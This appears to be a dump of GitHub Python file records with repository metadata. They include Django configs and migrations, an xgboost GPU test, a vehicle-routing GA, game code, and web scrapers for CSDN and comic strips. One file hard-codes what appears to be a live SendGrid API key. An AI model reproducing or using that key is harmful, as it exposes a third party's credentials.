] | permissive | waleko/facerecognition | 9b017b14e0a943cd09844247d67e92f7b6d658fa | ea13b121d0b86646571f3a875c614d6bb4038f6a | refs/heads/exp | 2021-06-03T10:57:55.577962 | 2018-09-04T19:45:18 | 2018-09-04T19:45:18 | 131,740,335 | 5 | 1 | Unlicense | 2020-01-19T10:45:25 | 2018-05-01T17:10:42 | Python | UTF-8 | Python | false | false | 4,196 | py | # Copyright (C) 2004-2018 by
# Aric Hagberg <hagberg@lanl.gov>
# Dan Schult <dschult@colgate.edu>
# Pieter Swart <swart@lanl.gov>
# All rights reserved.
# BSD license.
#
# Authors: Aric Hagberg (hagberg@lanl.gov)
# Dan Schult (dschult@colgate.edu)
# Ben Edwards (bedwards@cs.unm.edu)
... | [
"a.kovrigin0@gmail.com"
] | a.kovrigin0@gmail.com |
2c1c34c5bcbf233aab6409d4ed753dce47d172ce | 4383c8eccb56707d843bc048768a5265bb04f072 | /py_files_old/pd_LSR.py | 9b6e990dba92ad7a2ddf2c3cec956cd0e52f673b | [] | no_license | alexalias/alexarbeit | 395f2aac5c3cd718b4ad16dd8004acc84e7ed54f | 2ba0b3771e00d1b9e4466ee7db853a009264e061 | refs/heads/master | 2020-12-31T05:24:36.445994 | 2017-05-22T20:27:38 | 2017-05-22T20:27:38 | 81,091,971 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,547 | py | import os
import glob
import re
import numpy as np
from collections import defaultdict
import speech_rate
# Returns a dictionary of phoneme occurences (keys) in the training data and their durations (values), and LSR (values)
# Looks like {a: [1452, 0.8, 799, 0.5], b : [655, 0.5, 799, 0.45]...}
def read_trainig_files(... | [
"12krah@cloak.mafiasi.de"
] | 12krah@cloak.mafiasi.de |
ee74da074651806b44affe44236d16dd446b60fb | 404d32aa69b477af742aa6af5498d6568791e6e5 | /Week 14/Ex5.py | 56b488a4b48620462e70c00e04c2d05cd87a7b25 | [] | no_license | Koemsak/Week14_Python | 214922dc1df8e80da5ff1158ceb6722f06f690a2 | 3c65a3fe25d71104647e1a2a4f7a2d9c147226d2 | refs/heads/main | 2023-01-04T04:03:41.681676 | 2020-11-10T02:01:39 | 2020-11-10T02:01:39 | 311,516,684 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 223 | py | array = eval(input())
nbRows = len(array)
nbCol = len(array[0])
result = []
for index in range(nbCol):
sum = 0
for row in range(nbRows):
sum += array[row][index]
result.append(sum)
print(result) | [
"noreply@github.com"
] | Koemsak.noreply@github.com |
32865d3fdead909edcc3650051f3912fc2e64079 | 1dd4e2905085ace304446f5fc3ccade67f8b6e26 | /spider/gzip_deflate/__init__.py | b03fb41ce64b77186364474b35223ce484f2a69c | [] | no_license | ZhouBoXiao/SpiderDemo | f76b192f7dd5323de379a7e43f3fcf392a5cb086 | 137c40c895ad025236a13be9645d12e8973d5ff2 | refs/heads/master | 2021-01-19T05:23:51.152778 | 2017-04-06T13:18:30 | 2017-04-06T13:18:30 | 87,430,701 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 79 | py | # -*- coding:utf-8 -*-
# E:/PycharmProjects/
# create by boxiao on 2016/12/29
| [
"1533880208@qq.com"
] | 1533880208@qq.com |
4692a97be5655bafc7b9444570fcddb2c65deec0 | 543c7d3f8d5c36830c85784c6f9b694dfa82088b | /epic_events/epic_events/epic_events/urls.py | 34a359eb7d4c8b05116ec7316ca499351d6093ee | [] | no_license | pandavaurien/Openclassroom_projet_12 | 3959294ffd422a9abc3924e29b08255f227b3416 | 8d4772286fedb8d4989906b51d44e66e296fc459 | refs/heads/master | 2023-08-30T03:38:15.772621 | 2021-11-16T09:48:17 | 2021-11-16T09:48:17 | 417,076,693 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,485 | py | """epic_events URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-b... | [
"a.jurquet@gmail.com"
] | a.jurquet@gmail.com |
6867238cab9e0a5e21c60e60b01bb5571a43e0be | eec4d938713409db8f6127456bc77dd69749e7f7 | /todo/tasks/migrations/0001_initial.py | e2337bffb0cf977ca00020268561d4f4d74ae938 | [] | no_license | shreyasingh12/TODO-APP | e5d65c65c94c2b14c171134746a5b70014bd7197 | 0950a55e5328763b6831977f40be7f2bde801b8c | refs/heads/master | 2022-09-16T07:45:08.835197 | 2020-05-27T07:01:42 | 2020-05-27T07:01:42 | 267,244,318 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 621 | py | # Generated by Django 3.0.5 on 2020-05-09 16:30
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Task',
fields=[
('id', models.AutoField(aut... | [
"sshreya0003@gmail.com"
] | sshreya0003@gmail.com |
6b1dedb0d9049ca2347fb1df6006b27379b97dc8 | 965c1c4cf64374e5ea4bd0d2c08f9fb8ac4bdc45 | /artige_product_pages/users/apps.py | 0c4c72c9811ecdd92343c90f8ea550b624cfb339 | [
"MIT"
] | permissive | alinik/artige_product_pages | 48e790bf09442229e5f40aa4a79227243d87d35f | f98a7b6fc07cf71c3ada6e2c50534421f84b5883 | refs/heads/master | 2021-10-28T12:14:05.142387 | 2019-04-05T16:37:44 | 2019-04-05T16:37:44 | 177,163,393 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 263 | py | from django.apps import AppConfig
class UsersAppConfig(AppConfig):
name = "artige_product_pages.users"
verbose_name = "Users"
def ready(self):
try:
import users.signals # noqa F401
except ImportError:
pass
| [
"ali@nikneshan.com"
] | ali@nikneshan.com |
37b532102a0518ee4b69422056e3d8f4bd0c067e | d1d345e065ec120775663759d6c906c22aa776f9 | /pytest_homework3/test_hook.py | cedf82c062b1ad71d21ea16d5d23b5138f300594 | [] | no_license | Clown136/jiusheng_project | 253e98cbcf65d81f4e054aba1ca3d153ff92c475 | 4d513d6a1a15e28854e1ba6dca4b56d42b366473 | refs/heads/master | 2022-12-28T01:31:25.040883 | 2020-09-22T10:15:53 | 2020-09-22T10:15:53 | 283,638,439 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 251 | py |
def test_case(cmdoption):
print(f"env环境下读取的值为:", cmdoption)
def test_case1(cmdoption1):
print(f"env环境下读取的值为:", cmdoption1)
def test_case2(cmdoption2):
print(f"env环境下读取的值为:", cmdoption2)
| [
"1363643890@qq.com"
] | 1363643890@qq.com |
6d656693f400eb644f9e1c446f6736d6fa7a27ac | 9cc392b30ea3c74bc190c994ede882eee6d59813 | /animation_nodes/__init__.py | 028d09157141ea2e9648c1ec7084a796f5d60633 | [] | no_license | BitByte01/myblendercontrib | 621f5df293d11d14a749fd1405170a355efab8ea | 45f96e8195dae1b1ec72b3094c735fab12cfbd87 | refs/heads/master | 2020-12-25T21:00:53.487662 | 2015-04-07T08:53:22 | 2015-04-07T08:53:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,244 | py | '''
Copyright (C) 2014 Jacques Lucke
mail@jlucke.com
Created by Jacques Lucke
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later versi... | [
"Develop@Shaneware.Biz"
] | Develop@Shaneware.Biz |
a22814d087c6bd23f7827d8cb60915dcdb39e13f | 5f88f96aaad8c97cbdadefa3fc5ba5e6afea4c42 | /modAux.py | fcb2ac1a4294e09c416acbc71715909ffe1652c1 | [
"MIT"
] | permissive | AbeJLazaro/reconocimientoGatos | e7c04a4723d5d0fa5ec005e1189c8c7d90cffbd5 | 63f5a969d41e23dd7c596b2d8ffa1f6723e9685e | refs/heads/main | 2023-03-04T04:58:34.769999 | 2021-02-18T08:56:06 | 2021-02-18T08:56:06 | 339,949,355 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,021 | py | '''
Autor: Lázaro Martínez Abraham Josué
Fecha: 17 de febrero de 2021
Titulo: modAux.py
'''
import numpy as np
import matplotlib.pyplot as plt
import h5py
def load_data():
train_dataset = h5py.File('datos/train_catvnoncat.h5', "r")
train_set_x_orig = np.array(train_dataset["train_set_x"][:]) # your t... | [
"abrahamlazaro@comunidad.unam.mx"
] | abrahamlazaro@comunidad.unam.mx |
4789a773ce161e6f302d1d3c00c355334c59bb1e | bc82526544eb82fad2fa2c40a6651b15c39d7eba | /pepe.py | d617e14ddc98d9df31ad82a596c8d725b0f314fe | [] | no_license | river-sneed/pepe | 6aeb55b92312c07ef54e1c245a84b5faee9da477 | 3a0f9b33b5b43f6445e1c2aaeef3b51fa3263a75 | refs/heads/master | 2020-07-15T18:05:34.887703 | 2016-12-02T20:43:27 | 2016-12-02T20:43:27 | 73,960,191 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,055 | py | # Computer Programming 1
# Unit 11 - Graphics
#
# A scene that uses pepes to be lit.
#River Sneed
#11/28/2016
# Imports
import pygame
import random
import math
print ("press keys and leave them toggled until you see fit to do otherwise")
print("f = rainbow fun")
print("space = lit")
print ("s = smoke... | [
"noreply@github.com"
] | river-sneed.noreply@github.com |
ea7cf35b3c3783e32f505ac43d141170881c8250 | 33524b5c049f934ce27fbf046db95799ac003385 | /2017/Turtule/lesson_1/fun.py | 1a4171a3456c99abd720076e765828f9e7a6a3e9 | [] | no_license | mgbo/My_Exercise | 07b5f696d383b3b160262c5978ad645b46244b70 | 53fb175836717493e2c813ecb45c5d5e9d28dd23 | refs/heads/master | 2022-12-24T14:11:02.271443 | 2020-10-04T04:44:38 | 2020-10-04T04:44:38 | 291,413,440 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 256 | py |
import turtle
def square(t):
x=75
ang=90
t.forward(x)
t.left(ang)
t.forward(x)
t.left(ang)
t.forward(x)
t.left(ang)
t.forward(x)
#t.left(ang)
t=turtle.Turtle()
t.shape("turtle")
square(t)
t.right(90)
square(t)
turtle.mainloop()
| [
"mgbo433@gmail.com"
] | mgbo433@gmail.com |
c9ecfb211964d9eb944233d0119dcaab7410f68e | 93e533204f4c1bcb60e30db5de4d02fb9bce0a19 | /test/pa_shebeilianjie.py | e47572ba64e72152b97a08f4f59ad7144f9976dc | [] | no_license | overoptimus/pythonTest | 21b1feb8c6dbdfe2b0e118d14a2d62f1b6e22def | 79cb1016ab2d72149246908c9ef99ef280bd7a3c | refs/heads/master | 2021-07-25T10:01:12.281732 | 2020-05-07T08:09:52 | 2020-05-07T08:09:52 | 165,030,777 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 503 | py | import requests
from bs4 import BeautifulSoup
url = 'http://oa.zycg.cn/td_xxlcpxygh/platform'
req = requests.get(url)
req.encoding = 'utf-8'
soup = BeautifulSoup(req.text, 'html.parser')
# print(soup.prettify())
tds = soup.find_all('td', attrs={'class': 'grade3',
'valign': 'top', 'al... | [
"1040570917@qq.com"
] | 1040570917@qq.com |
ac26165098ea44d820dd16e971045dc0d37cdccc | 92754bb891a128687f3fbc48a312aded752b6bcd | /Algorithms/Python3.x/145-Binary_Tree_Postorder_Traversal.py | 8d1c7f402c7e9e4772c4b22aa6d41afe45ecd87f | [] | no_license | daidai21/Leetcode | ddecaf0ffbc66604a464c3c9751f35f3abe5e7e5 | eb726b3411ed11e2bd00fee02dc41b77f35f2632 | refs/heads/master | 2023-03-24T21:13:31.128127 | 2023-03-08T16:11:43 | 2023-03-08T16:11:43 | 167,968,602 | 8 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,606 | py | # recursoin
# Runtime: 36 ms, faster than 74.54% of Python3 online submissions for Binary Tree Postorder Traversal.
# Memory Usage: 13.9 MB, less than 5.72% of Python3 online submissions for Binary Tree Postorder Traversal.
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# ... | [
"daidai4269@aliyun.com"
] | daidai4269@aliyun.com |
9853f6870c6412e85cf8eb0bcdc4f330947b2f99 | 90c8fc381673d77cfa3725fd94964ae276c4978a | /opt_graph.py | f2b32b89fcf9f512c1edd0444ad43588be454316 | [] | no_license | gjeusel/opt_graph_EEL857 | 7aed5584d5c9451e58951838d0e576f1fb16b068 | 40f751d2293e3f1d6b8f76e4b5204436fe672cc1 | refs/heads/master | 2021-01-20T03:23:36.374544 | 2017-06-20T00:06:20 | 2017-06-20T00:06:20 | 89,538,074 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33,024 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, os, re
reload(sys)
sys.setdefaultencoding('utf8') # problem with encoding
import argparse
import subprocess
import matplotlib
matplotlib.use("Qt4Agg") # enable plt.show() to display
import matplotlib.pyplot as plt
import logging as log
import errno # cf erro... | [
"jeusel.guillaume@gmail.com"
] | jeusel.guillaume@gmail.com |
cf15dcd2ca3d40597a02c382669e1827c8223f69 | 092eccf44865839781f51ab237d1821b7f5e3e98 | /fcm.py | e69a2a4f7fe74d530ebb618917cc95cdcdc24615 | [] | no_license | amit-kumar56/Online-result-alert-system | 27f7945081408085dccbaa03dcf454a39e8ed525 | e769461540ab1c8b959d4b95245affff9e4427da | refs/heads/master | 2023-08-05T08:22:55.176174 | 2019-11-10T08:29:50 | 2019-11-10T08:29:50 | 220,761,968 | 3 | 0 | null | 2023-07-23T15:23:33 | 2019-11-10T08:27:38 | HTML | UTF-8 | Python | false | false | 596 | py | API_KEY = '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'
import os
from sendgrid import SendGridAPIClient
from sendgrid.helpers.mail import Mail
message = Mail(
from_email='amit1004199@gmail.com',
to_emails='amit10041999@gmail.com',
subject='Sending with Twilio SendGrid is Fun',
... | [
"noreply@github.com"
] | amit-kumar56.noreply@github.com |
a6992f4bad90dc92d519975bf9c75e969005b0f3 | 1d14584f0cc5b587dc6da465a36d089a20f778dd | /backend/apps/notes/migrations/0002_notes_public.py | 1a8c61f3a44bf0597e20e7226a46d7f529bae01b | [] | no_license | sameerk129/DocShare | 20163da35412546024c2fc663d3c552ee48607ec | 97e156313bb0af55af85a21f845bfc3a7b21211b | refs/heads/master | 2020-03-18T14:16:19.501831 | 2018-05-26T22:08:41 | 2018-05-26T22:08:41 | 134,839,430 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 438 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2018-05-26 05:04
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('notes', '0001_initial'),
]
operations = [
migrations.AddField(
... | [
"sameer.k@greyorange.sg"
] | sameer.k@greyorange.sg |
bafe4a257c0c6e015913bdce3beef8e2b5485cba | 24927eac464cdb1bec665f1cb4bfee85728ec5e1 | /product_parser/valentino.py | 4e82a6c7fc7534ee0a25943591dcb384efe6e842 | [] | no_license | yingl/fashion-spider | d72ea8dfd4a49270fd3e64e7a507d6fcbaaf492c | 0698768cd21d509ec335d7202a753be4f6ad378b | refs/heads/master | 2021-01-01T18:14:17.848732 | 2017-09-27T08:44:47 | 2017-09-27T08:44:47 | 98,282,505 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,336 | py | """ Valentino """
# coding: utf-8
import sys
sys.path.append('../')
import util
BRAND = 'valentino'
PREFIXES = ['www.valentino.cn']
def get_title(driver):
title = ''
element = util.find_element_by_css_selector(driver, 'div.item-info > h1 > div.title > span.value')
if not element:
raise Exception(... | [
"linying_43151@163.com"
] | linying_43151@163.com |
0ff63d72300563a3b0e9143ed83bdb4c93fae7f2 | 24be9d9e10f8e0f4fa5d222811fd1ab5831d9f28 | /serialization/homework4.py | 277b677d20b56f732d44c746f342fbcf681d95ac | [] | no_license | zulteg/python-course-alphabet | 470149c3e4fd2e58bdde79a2908ffba1d7438dc1 | dd2399f6f45c42c5847cf3967441a64bdb64a4cf | refs/heads/master | 2020-05-14T21:25:02.627900 | 2019-09-17T10:19:51 | 2019-09-17T10:19:51 | 181,962,678 | 0 | 0 | null | 2019-06-20T08:39:27 | 2019-04-17T20:20:47 | Python | UTF-8 | Python | false | false | 10,835 | py | import uuid
from objects_and_classes.homework.constants import CARS_TYPES, CARS_PRODUCER, TOWNS
"""
Вам небхідно написати 3 класи. Колекціонери Гаражі та Автомобілі.
Звязкок наступний один колекціонер може мати багато гаражів.
В одному гаражі може знаходитися багато автомобілів.
"""
"""
Колекціонер має наступні харак... | [
"zulteg@gmail.com"
] | zulteg@gmail.com |
facb9e2e327090fd6d8da5f7d8b5bd13b151d02f | 24c7088effc63aa93682e16c99144b5649236905 | /1. ZANPAX/Projeto1.py | f076feb3bd193ce36eb0e17daf1ac654b1d8ca41 | [] | no_license | FontesJ/HSM-AnaliseDeDados-Python | 8885b01381b770004fd2e510825e21caa37ff463 | 910a19f67a88526f43d17620ae48492894c51bf9 | refs/heads/master | 2023-01-21T03:23:17.282799 | 2020-12-03T03:45:25 | 2020-12-03T03:45:25 | 283,621,522 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 96 | py | valor_total = 56300
print('ISS: R$', (valor_total*0.04))
print('ICMS: R$', (valor_total*0.18)) | [
"61214258+FontesJ@users.noreply.github.com"
] | 61214258+FontesJ@users.noreply.github.com |
b1f59a5918d5f3fdfde7d110d73ff9c89f1ab8b0 | 859c2aa862ea03ac3088fca67fa1c47203dcd2f2 | /api/proxy.py | aa99e2879329f54b43f3b4a64532667f05af6c5f | [
"MIT"
] | permissive | linzhiming0826/ADSL | 37932c6f45e6b36388750f160f0f47ce65346fae | b6ada0fd24da9716f0e413ee1254165f257d674d | refs/heads/master | 2020-01-19T21:40:04.251505 | 2017-06-27T02:15:20 | 2017-06-27T02:15:20 | 94,221,675 | 6 | 4 | null | null | null | null | UTF-8 | Python | false | false | 884 | py | # encoding:utf-8
import random
from config import REDIS_PROXY_KEY
from redis_db import RedisDB
class Proxy(object):
@classmethod
def get_proxy(self, module):
'''
获取代理,暂时只实现获取某一台代理的方法,可以自己扩展,随机获取
'''
result = {'rt': '0', 'msg': 'not proxy', 'proxy': None}
if module == 'o... | [
"120549827@qq.com"
] | 120549827@qq.com |
086c95b2ddfc5adc86d46719eb747e52c6f96648 | b319377590343ca6b77355bc95fad40640b6acc1 | /爬取CSDN的博文.py | e06a6fd938a36a9298a5bf66b5d78c4da931136f | [] | no_license | 1395724712/LESSON_2019_10 | 8b9dec5ef0b7e6a177bc3bf50779e810560aea31 | 104bf1318e7f083ecca776cfefe7f3009523dbe3 | refs/heads/master | 2020-08-28T09:36:37.076078 | 2019-11-08T08:10:59 | 2019-11-08T08:10:59 | 217,662,919 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,817 | py | # coding="utf-8"
# 这个程序用于爬去CSDN的博文并写入txt文件中
# 注意伪装成浏览器
# 将爬取错误的网站报错到另一个txt文件中
#
import gzip
import urllib.request
import re
import urllib.error
# 首先创建报头
header=[('User-Agent','Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36'),('Accept-encoding', 'gzip')]
#... | [
"1395724712@qq.com"
] | 1395724712@qq.com |
04b2c738fce0a61ab8d20b1dfe635a06d7022115 | 5d48aa758fe884ea8d2c3e458a4c59079b2a9f93 | /administracao/forms/usuario_forms.py | 22e4431bed32b035e91f8c069c27bcfd460c7f11 | [] | no_license | JSSILLES/Ediaristas | 0ce3b2be758516a86fa7d57303aa3f396122d519 | fbc5fefed8c6716c2e790f34c13ebbd62a64187e | refs/heads/main | 2023-07-12T02:37:15.485571 | 2021-08-20T22:44:47 | 2021-08-20T22:44:47 | 394,742,770 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 753 | py | from django.contrib.auth.forms import UserChangeForm, UserCreationForm
from django.contrib.auth import get_user_model
from django.forms.models import fields_for_model
class CadastroUsuarioForm(UserCreationForm):
class Meta:
model = get_user_model()
fields = ['username','first_name','email','passwor... | [
"jacqueline@gomara.tech"
] | jacqueline@gomara.tech |
ebc8310d4de429f0142a0a2b45c1ad58a75d5df8 | 79ad16a56df93085651886375920306e63121690 | /tests/test_tutorial/test_connect/test_select/test_tutorial005.py | 400c6483cbb307d2b153fa85489c98bbdf21684e | [
"MIT"
] | permissive | macrosfirst/sqlmodel | 4286f72144afbf1476368e3fd0ca895852799046 | bda2e2818a3e7c2a18be4adf55bfea9bad83bfcc | refs/heads/main | 2023-08-14T02:09:27.072625 | 2021-09-29T13:31:54 | 2021-09-29T13:31:54 | 403,592,064 | 0 | 0 | MIT | 2021-09-29T13:31:55 | 2021-09-06T11:11:59 | Python | UTF-8 | Python | false | false | 1,418 | py | from unittest.mock import patch
from sqlmodel import create_engine
from ....conftest import get_testing_print_function
expected_calls = [
[
"Created hero:",
{
"age": None,
"id": 1,
"secret_name": "Dive Wilson",
"team_id": 2,
"name": "Dea... | [
"tiangolo@gmail.com"
] | tiangolo@gmail.com |
802060315660180fe6727d974e97580ddcaaf943 | 76e9267b7391fd3ee58e9fbaa2bea418cff910aa | /Desktop/auth/gg/ch1/blog/admin.py | 8d9c8e2ee1f4ec19f812b3f045f6b8ecd05a4c6a | [] | no_license | yoongyo/auth1 | bd1b89a4733c1f20bae6274107cb0e886e98d0d6 | aab569ed4473c2d431949bcaf72b71e003cc69a5 | refs/heads/master | 2020-03-23T04:43:06.627491 | 2018-07-16T06:22:42 | 2018-07-16T06:22:42 | 141,101,167 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 222 | py | from django.contrib import admin
from .models import Post
class PostAdmin(admin.ModelAdmin):
list_display = ['id', 'title']
list_display_links = ['title']
search_fields = ['title']
admin.site.register(Post) | [
"jyg017@naver.com"
] | jyg017@naver.com |
d7c1ecaebb7212d893e273afcfb56bf1ca0a8853 | 1e2c05dfa2abf5a16cb75a68bc42d70256fccc6b | /infos/migrations/0001_initial.py | 58c6044c8d8693c7955d098cbec4ca2d50f40a27 | [
"MIT",
"CC-BY-SA-4.0"
] | permissive | acdh-oeaw/apis-core | b491011a30226d0682be045517bee08c6af71bbd | 508545fa5119e1895801cc02c33b62ee33518183 | refs/heads/main | 2023-09-01T03:04:19.622371 | 2023-05-17T14:21:48 | 2023-05-17T14:21:48 | 96,198,214 | 14 | 5 | MIT | 2023-06-12T12:40:21 | 2017-07-04T09:04:29 | Python | UTF-8 | Python | false | false | 3,487 | py | # Generated by Django 2.1.12 on 2019-09-30 11:47
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='AboutTheProject',
fields=[
('id', models.A... | [
"m.schloegl@gmail.com"
] | m.schloegl@gmail.com |
dff21f390e678ffda8152453571a65ce260214f4 | 1f9c18ac3725513458321b80abd0bcf5d572d696 | /python-ml/word2vec_basic.py | 15fc4b9f7efc63606579c7a767fb59812ab0442b | [] | no_license | CMEI-BD/ml | 34270572adba16132011b16a8965c0c2f2327161 | 1d5b43bf63aa234b4dbe9563d30fae91a485d7a2 | refs/heads/master | 2020-03-19T07:28:27.530808 | 2018-06-05T09:01:52 | 2018-06-05T09:01:52 | 136,116,805 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,880 | py | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Mon Jun 4 15:27:13 2018
@author: meicanhua
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import math
import os
import random
import zipfile
import numpy as np
from six... | [
"meicanhua@didichuxing.com"
] | meicanhua@didichuxing.com |
adf46f01ac43eb7680ef244d505c63a64f5e6a98 | 1c4393200a17da79c2f059df7c4fd2dc5f4c3bb3 | /evovrp/main.py | fd45e8e173210faa374ab19282df77bbcefac482 | [
"MIT"
] | permissive | bsmdev/evovrp | 4a0f232c5f816de9cc51e023f78e2d64ad92712c | 16d85d1035019ec9b16d096415423a65b546bd88 | refs/heads/master | 2020-12-29T04:35:25.024612 | 2019-06-19T15:01:08 | 2019-06-19T15:01:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,414 | py | import evovrp.file as file
import evovrp.method as method
import evovrp.directory as directory
import evovrp.evaluation as evaluation
from random import randint
from NiaPy.util import Task, OptimizationType
from NiaPy.algorithms.basic.ga import GeneticAlgorithm
def print_result(best_instance):
"""Prints a result... | [
"matic.pintaric@outlook.com"
] | matic.pintaric@outlook.com |
42ce07fdee63e3aa5561265f2db6540b6095364b | ae4b075d34694a2d3b94892a2caead1dc6c6090b | /datasets/svhn.py | c136901f2ac1fb3c623a52b80c1b0978a0361459 | [] | no_license | MagnumEnforcer/self-supervised-learning | 943f15130ac47839df8083f964b9223003905cad | 115271aee4ebfb63fe8c89c93f7f4ac00638155a | refs/heads/main | 2023-06-21T12:49:47.965418 | 2021-08-04T19:41:32 | 2021-08-04T19:41:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,988 | py | # -*- coding: utf-8 -*-
import cv2
import numpy as np
from torchvision.datasets.svhn import SVHN as _SVHN
class SVHN(_SVHN):
num_classes = 10
def __init__(self,
root: str,
split: str = 'train',
transform: object = None,
**kwargs):
s... | [
"hgkahng@korea.ac.kr"
] | hgkahng@korea.ac.kr |
dac023cdab21e9d629d5d88ea13757f7b48df408 | 6a92f3be6482748148d431dfcb652b0816d288f7 | /tests/python-gpu/test_gpu_prediction.py | 6324e117b3e8f1e8977741d82b05ec6e50eb81cc | [
"Apache-2.0"
] | permissive | Gerbuz/xgboost | 24c1c8787d981aa9f0654382667a87ad1baf6bb3 | 38ee51478740cb1aae1cfa0791168d384c388082 | refs/heads/master | 2022-10-21T03:15:21.243492 | 2020-06-17T04:39:23 | 2020-06-17T04:39:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,076 | py | import sys
import unittest
import pytest
import numpy as np
import xgboost as xgb
sys.path.append("tests/python")
import testing as tm
from test_predict import run_threaded_predict # noqa
rng = np.random.RandomState(1994)
class TestGPUPredict(unittest.TestCase):
def test_predict(self):
iterations = 10... | [
"noreply@github.com"
] | Gerbuz.noreply@github.com |
15dc87f1cf93f9b2f6112e12584d8b2874f44525 | b35923f3170cc765ae1c77df432ca653e7c574cb | /accounts/views.py | 5ee44c124dc5e9345924c53c83e6a205825e77dc | [] | no_license | sudoshweta/My_JIRA | a3fa9b643029dfa3a3b43e617fb3178f75b96160 | e46f7f44991d4b4dfc946235b924374c3b78bab0 | refs/heads/master | 2020-03-22T11:27:40.127857 | 2018-07-05T10:38:59 | 2018-07-05T10:38:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 778 | py | from django.shortcuts import render, redirect
from django.contrib.auth import authenticate, login
from django.views import generic
from django.views.generic import View
from .forms import SignupForm
def index(request):
return render(request, 'a.html')
#def signup(request):
# return render(request, 'signup.htm... | [
"shwetasingh426060@gmail.com"
] | shwetasingh426060@gmail.com |
7ed2fecba76172cf4c9db655e2067ce08f16c25f | 2ec7219f07b1c2b761c76ed0eae8108cc0ebb5cb | /experiments/scripts/setup_integrate_3d.py | 318faf5a9fb6ac0121ea403ef9ad6ddf14b067e7 | [] | no_license | samueljmcameron/ABPs_coarse_graining | f4eac2c0810f516917e80dfd0d732dd2f1d7a6dc | 68face0c92b3b76be29767f261e52e2b5509922d | refs/heads/master | 2020-09-10T15:10:51.029675 | 2020-05-22T08:09:30 | 2020-05-22T08:09:30 | 221,733,647 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 521 | py | from setuptools import setup
import numpy
from Cython.Build import cythonize
setup(
name='Integrate in 3d',
ext_modules = cythonize('integrate_3d.pyx',annotate=True,
compiler_directives={'boundscheck' : False,
'wraparound' : False,
... | [
"samuel.j.m.cameron@gmail.com"
] | samuel.j.m.cameron@gmail.com |
860d4185936f17a997095a651d33d38e5a18ebbf | 522e755b313fe52320765f5ab45a8bbe2b3c0420 | /pondus_download.py | c582f77189f474671872525212bfe755c8bc593e | [] | no_license | danieman/pondusdl | b6547290cf1bd06a6cfc0177e2573f657b9e911c | 842bf5a0ea40be9c7f45b999b85a5c9e4e410625 | refs/heads/main | 2023-06-21T03:00:51.363094 | 2021-07-14T22:02:46 | 2021-07-14T22:02:46 | 386,082,240 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,216 | py | import requests
from bs4 import BeautifulSoup
from datetime import datetime
from pathlib import Path
from urllib.request import urlretrieve
WEBPAGE = "https://www.adressa.no/kultur/tegneserier/pondus/"
DIRECTORY = Path.home() / "pondus"
def find_images(url):
"""Takes a web page URL as input, and returns a lis... | [
"hellnope1337@definitelynope.no"
] | hellnope1337@definitelynope.no |
db27e58936ee029169bd1e6839f1c07c7b26a7c3 | 574164eb23ab712054261aee57a48fa46f3a888b | /toontown/coghq/CountryClubLayout.py | b03d854750c8df1ffe2b11b2d49e88de61d0b960 | [] | no_license | CrankySupertoonArchive/toontownhardmode | 210256bc1a3a889a3b2d6eb6d030b224e3cbbbda | fcee8926a10f36b8a4373fcbb518b18fad2aaeec | refs/heads/master | 2021-06-15T07:41:47.761067 | 2017-03-19T17:27:53 | 2017-03-19T17:27:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,001 | py | from direct.directnotify import DirectNotifyGlobal
from direct.showbase.PythonUtil import invertDictLossless
from toontown.coghq import CountryClubRoomSpecs
from toontown.toonbase import ToontownGlobals
from direct.showbase.PythonUtil import normalDistrib, lerp
import random
def printAllBossbotInfo():
print 'roomI... | [
"leotz58@gmail.com"
] | leotz58@gmail.com |
